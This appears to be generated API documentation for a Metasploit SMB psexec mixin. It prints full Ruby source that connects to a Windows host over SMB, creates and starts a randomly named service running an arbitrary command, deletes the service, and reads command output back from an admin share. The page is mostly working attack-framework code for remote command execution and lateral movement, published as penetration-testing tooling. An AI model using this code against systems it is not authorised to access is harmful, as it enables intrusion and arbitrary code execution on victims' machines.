Module: Msf::Exploit::Remote::SMB::Psexec

Includes:
DCERPC, Authenticated
Defined in:
lib/msf/core/exploit/smb/psexec.rb

Overview

Allows for reuse of the psexec code execution technique

This code was stolen straight out of the psexec module. Thanks very much for all who contributed to that module!! Instead of uploading and running a binary.

Constant Summary

Constants included from Msf::Exploit::Remote::SMB

CONST, DCERPCClient, DCERPCPacket, DCERPCResponse, DCERPCUUID, NDR, SIMPLE, XCEPT

Constants included from DCERPC

DCERPC::DCERPCClient, DCERPC::DCERPCPacket, DCERPC::DCERPCResponse, DCERPC::DCERPCUUID, DCERPC::NDR

Constants included from DCERPC_LSA

DCERPC_LSA::NDR

Constants included from DCERPC_MGMT

DCERPC_MGMT::NDR

Instance Attribute Summary

Attributes included from Msf::Exploit::Remote::SMB

#simple

Attributes included from DCERPC

#dcerpc, #handle

Instance Method Summary collapse

Methods included from Authenticated

#initialize

Methods included from Msf::Exploit::Remote::SMB

#connect, #domain, #domain_username_split, #initialize, #smb_create, #smb_direct, #smb_enumprinters, #smb_enumprintproviders, #smb_file_exist?, #smb_file_rm, #smb_fingerprint, #smb_hostname, #smb_login, #smb_open, #smb_peer_lm, #smb_peer_os, #smbhost, #splitname, #unicode

Methods included from Tcp

#chost, #cleanup, #connect, #connect_timeout, #cport, #disconnect, #handler, #initialize, #lhost, #lport, #proxies, #rhost, #rport, #set_tcp_evasions, #ssl, #ssl_version

Methods included from DCERPC

#dcerpc_bind, #dcerpc_call, #dcerpc_handle, #initialize, #unicode

Methods included from DCERPC_LSA

#lsa_open_policy

Methods included from DCERPC_MGMT

#dcerpc_mgmt_connect, #dcerpc_mgmt_inq_if_ids, #dcerpc_mgmt_inq_if_stats, #dcerpc_mgmt_inq_princ_name, #dcerpc_mgmt_is_server_listening, #dcerpc_mgmt_stop_server_listening

Methods included from DCERPC_EPM

#dcerpc_endpoint_find_tcp, #dcerpc_endpoint_find_udp, #dcerpc_endpoint_list

Instance Method Details

#peerObject


154
155
156
# File 'lib/msf/core/exploit/smb/psexec.rb', line 154

def peer
  return "#{rhost}:#{rport}"
end

#psexec(command, disconnect = true, service_description = nil) ⇒ Boolean

TODO:

Figure out the actual exceptions this needs to deal with instead of all the ghetto "rescue ::Exception" madness

Executes a single windows command.

If you want to retrieve the output of your command you'll have to echo it to a .txt file and then use the #smb_read_file method to retrieve it. Make sure to remove the files manually or use FileDropper#register_files_for_cleanup to have the FileDropper#cleanup and FileDropper#on_new_session handlers do it for you.

Parameters:

  • command (String)

    Should be a valid windows command

  • disconnect (Boolean) (defaults to: true)

    Disconnect afterwards

Returns:

  • (Boolean)

    Whether everything went well


55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
# File 'lib/msf/core/exploit/smb/psexec.rb', line 55

def psexec(command, disconnect=true, service_description=nil)
  simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
  handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
  vprint_status("#{peer} - Binding to #{handle} ...")
  dcerpc_bind(handle)
  vprint_status("#{peer} - Bound to #{handle} ...")
  vprint_status("#{peer} - Obtaining a service manager handle...")
  scm_handle = nil
  stubdata = NDR.uwstring("\\\\#{rhost}") + NDR.long(0) + NDR.long(0xF003F)
  begin
    response = dcerpc.call(0x0f, stubdata)
    if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
      scm_handle = dcerpc.last_response.stub_data[0,20]
    end
  rescue ::Exception => e
    print_error("#{peer} - Error getting scm handle: #{e}")
    return false
  end
  servicename = Rex::Text.rand_text_alpha(11)
  displayname = Rex::Text.rand_text_alpha(16)

  svc_handle = nil
  svc_status = nil
  stubdata =
    scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
    NDR.long(0x0F01FF) + # Access: MAX
    NDR.long(0x00000110) + # Type: Interactive, Own process
    NDR.long(0x00000003) + # Start: Demand
    NDR.long(0x00000000) + # Errors: Ignore
    NDR.wstring( command ) +
    NDR.long(0) + # LoadOrderGroup
    NDR.long(0) + # Dependencies
    NDR.long(0) + # Service Start
    NDR.long(0) + # Password
    NDR.long(0) + # Password
    NDR.long(0) + # Password
    NDR.long(0) # Password
  begin
    vprint_status("#{peer} - Creating the service...")
    response = dcerpc.call(0x0c, stubdata)
    if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
      svc_handle = dcerpc.last_response.stub_data[4,20]
      svc_status = dcerpc.last_response.stub_data[24,4]
    end
  rescue ::Exception => e
    print_error("#{peer} - Error creating service: #{e}")
    return false
  end

  if service_description
    vprint_status("#{peer} - Changing service description...")
    stubdata =
      svc_handle +
      NDR.long(1) + # dwInfoLevel = SERVICE_CONFIG_DESCRIPTION
      NDR.long(1) + # lpInfo -> *SERVICE_DESCRIPTION
      NDR.long(0x0200) + # SERVICE_DESCRIPTION struct
      NDR.long(0x04000200) +
      NDR.wstring(service_description)
    begin
      response = dcerpc.call(0x25, stubdata) # ChangeServiceConfig2
    rescue Rex::Proto::DCERPC::Exceptions::Fault => e
      print_error("#{peer} - Error changing service description : #{e}")
    end
  end

  vprint_status("#{peer} - Starting the service...")
  stubdata = svc_handle + NDR.long(0) + NDR.long(0)
  begin
    response = dcerpc.call(0x13, stubdata)
    if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
    end
  rescue ::Exception => e
    print_error("#{peer} - Error starting service: #{e}")
    return false
  end
  vprint_status("#{peer} - Removing the service...")
  stubdata = svc_handle
  begin
    response = dcerpc.call(0x02, stubdata)
    if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
    end
  rescue ::Exception => e
    print_error("#{peer} - Error removing service: #{e}")
  end
  vprint_status("#{peer} - Closing service handle...")
  begin
    response = dcerpc.call(0x0, svc_handle)
  rescue ::Exception => e
    print_error("#{peer} - Error closing service handle: #{e}")
  end

  if disconnect
    sleep(1)
    simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
  end

  return true
end

#smb_read_file(smbshare, host, file) ⇒ String?

Retrives output from the executed command

Parameters:

  • smbshare (String)

    The SMBshare to connect to. Usually C$

  • host (String)

    Remote host to connect to, as an IP address or hostname

  • file (String)

    Path to the output file relative to the smbshare Example: 'WINDOWSTempoutputfile.txt'

Returns:

  • (String, nil)

    output or nil on failure


26
27
28
29
30
31
32
33
34
35
36
37
38
# File 'lib/msf/core/exploit/smb/psexec.rb', line 26

def smb_read_file(smbshare, host, file)
  begin
    simple.connect("\\\\#{host}\\#{smbshare}")
    file = simple.open(file, 'ro')
    contents = file.read
    file.close
    simple.disconnect("\\\\#{host}\\#{smbshare}")
    return contents
  rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
    print_error("#{peer} - Unable to read file #{file}. #{e.class}: #{e}.")
    return nil
  end
end